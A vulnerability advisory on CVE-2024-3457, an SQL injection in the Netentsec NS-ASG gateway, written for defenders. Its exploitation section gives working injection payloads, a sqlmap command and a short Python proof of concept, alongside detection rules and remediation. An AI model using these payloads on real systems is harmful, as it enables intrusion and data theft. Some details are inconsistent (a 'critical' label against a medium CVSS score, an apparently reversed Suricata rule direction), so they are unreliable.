CVE-2024-3457

Executive Summary

CVE-2024-3457 is a critical SQL injection vulnerability discovered in the Netentsec NS-ASG Application Security Gateway version 6.3. The flaw resides in the /admin/config_ISCGroupNoCache.php file, where the GroupId parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full compromise of the underlying database. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released by the vendor at this time.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Netentsec NS-ASG). Therefore, supply chain security concerns are limited to the integrity of the appliance firmware and any third-party components used within it.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – The attacker does not need any authentication.
• User Interaction: None (UI:N) – No user action is needed for exploitation.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components beyond the vulnerable application.
• Confidentiality Impact: Low (C:L) – Limited data exposure is possible.
• Integrity Impact: Low (I:L) – Limited data modification is possible.
• Availability Impact: Low (A:L) – Limited service disruption is possible.

Threat Level: High (due to public exploit availability and lack of patch).

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the administrative interface of the Netentsec NS-ASG. The file /admin/config_ISCGroupNoCache.php is used to manage ISC (Internet Security Control) group caching configurations. The GroupId parameter is passed directly into a SQL query without proper sanitization or parameterization.

Technical Flow:

1. An HTTP GET or POST request is sent to /admin/config_ISCGroupNoCache.php?GroupId=[payload].
2. The application extracts the GroupId value and concatenates it into a SQL query, e.g., SELECT * FROM isc_groups WHERE id = '$_GET['GroupId']'.
3. An attacker can inject SQL commands by providing a malicious GroupId value, such as 1' OR '1'='1.
4. The injected SQL is executed by the database, potentially allowing the attacker to bypass authentication, extract data, or execute arbitrary commands.

Root Cause: Lack of input validation and failure to use prepared statements or parameterized queries.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be:

Vulnerable Code (PHP):

<?php
$groupId = $_GET['GroupId'];
$query = "SELECT * FROM isc_groups WHERE id = '$groupId'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
$groupId = intval($_GET['GroupId']); // Cast to integer
$query = "SELECT * FROM isc_groups WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $groupId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses parameterized queries and type casting to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Netentsec NS-ASG 6.3 with the vulnerable endpoint exposed.
• Network access to the administrative interface (typically on port 80/443).

Exploit Steps:

1. Identify the target: https://target-ip/admin/config_ISCGroupNoCache.php
2. Inject a SQL payload to extract data, e.g., to list all tables:

   GET /admin/config_ISCGroupNoCache.php?GroupId=1' UNION SELECT table_name,2,3 FROM information_schema.tables --
   

3. Use a tool like sqlmap for automated exploitation:

   sqlmap -u "https://target-ip/admin/config_ISCGroupNoCache.php?GroupId=1" --batch --dbs
   

Example Payload (Time-based blind):

GroupId=1' AND SLEEP(5)--

Proof-of-Concept (PoC) Script (Python):

import requests

target = "https://target-ip/admin/config_ISCGroupNoCache.php"
payload = "1' UNION SELECT 1,2,3-- "
params = {'GroupId': payload}
response = requests.get(target, params=params, verify=False)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to /admin/config_ISCGroupNoCache.php for suspicious GroupId parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
• Enable Web Application Firewall (WAF) rules to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Defense:

• Immediately restrict access to the administrative interface to trusted IPs only.
• Apply input validation and parameterized queries as a permanent fix.
• If patching is not possible, consider disabling the vulnerable endpoint or implementing a virtual patch via WAF.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/config_ISCGroupNoCache.php with unusual GroupId parameters.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections from the appliance to unexpected IPs (data exfiltration).

File IOCs:

• Modified or new files in the web root (e.g., webshells).
• Suspicious entries in web server logs (e.g., access.log).

Log IOCs:

• Database logs showing queries with UNION, OR, AND, SLEEP, BENCHMARK, etc.
• Web server logs with repeated requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_3457_SQLi_Netentsec {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-3457 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3457"
    strings:
        $s1 = "config_ISCGroupNoCache.php" nocase
        $s2 = "GroupId=" nocase
        $sqli1 = "UNION" nocase
        $sqli2 = "SELECT" nocase
        $sqli3 = "OR" nocase
        $sqli4 = "AND" nocase
        $sqli5 = "--" nocase
        $sqli6 = "SLEEP" nocase
        $sqli7 = "BENCHMARK" nocase
    condition:
        $s1 and $s2 and 1 of ($sqli*)
}

Sigma Rule

title: CVE-2024-3457 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Netentsec NS-ASG Application Security Gateway
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3457
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|contains:
            - "config_ISCGroupNoCache.php"
            - "GroupId="
    sqli_patterns:
        cs-uri-query|contains:
            - "UNION"
            - "SELECT"
            - "OR"
            - "AND"
            - "--"
            - "SLEEP"
            - "BENCHMARK"
    condition: selection and sqli_patterns
falsepositives:
    - Legitimate use of the parameter with similar strings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-3457 SQL Injection Attempt - Netentsec NS-ASG";
    flow:to_server,established;
    content:"/admin/config_ISCGroupNoCache.php"; http_uri;
    content:"GroupId="; http_uri;
    pcre:"/(UNION|SELECT|OR|AND|--|SLEEP|BENCHMARK)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the appliance: If possible, disconnect the NS-ASG from untrusted networks until a patch is applied.
2. Restrict access: Use firewall rules to allow only trusted IPs to access the administrative interface.
3. Virtual Patching: Deploy a WAF rule to block SQL injection patterns targeting the vulnerable endpoint.

Long-Term Fix:

• Vendor Patch: Await an official patch from Netentsec. Contact the vendor for updates.
• Code Fix: If source code is available, implement parameterized queries and input validation as shown in the patched code section.
• Upgrade: Consider upgrading to a newer version of the NS-ASG if available.

Workaround:

• Disable the config_ISCGroupNoCache.php endpoint by removing or renaming the file (if acceptable for your environment).

Valters IT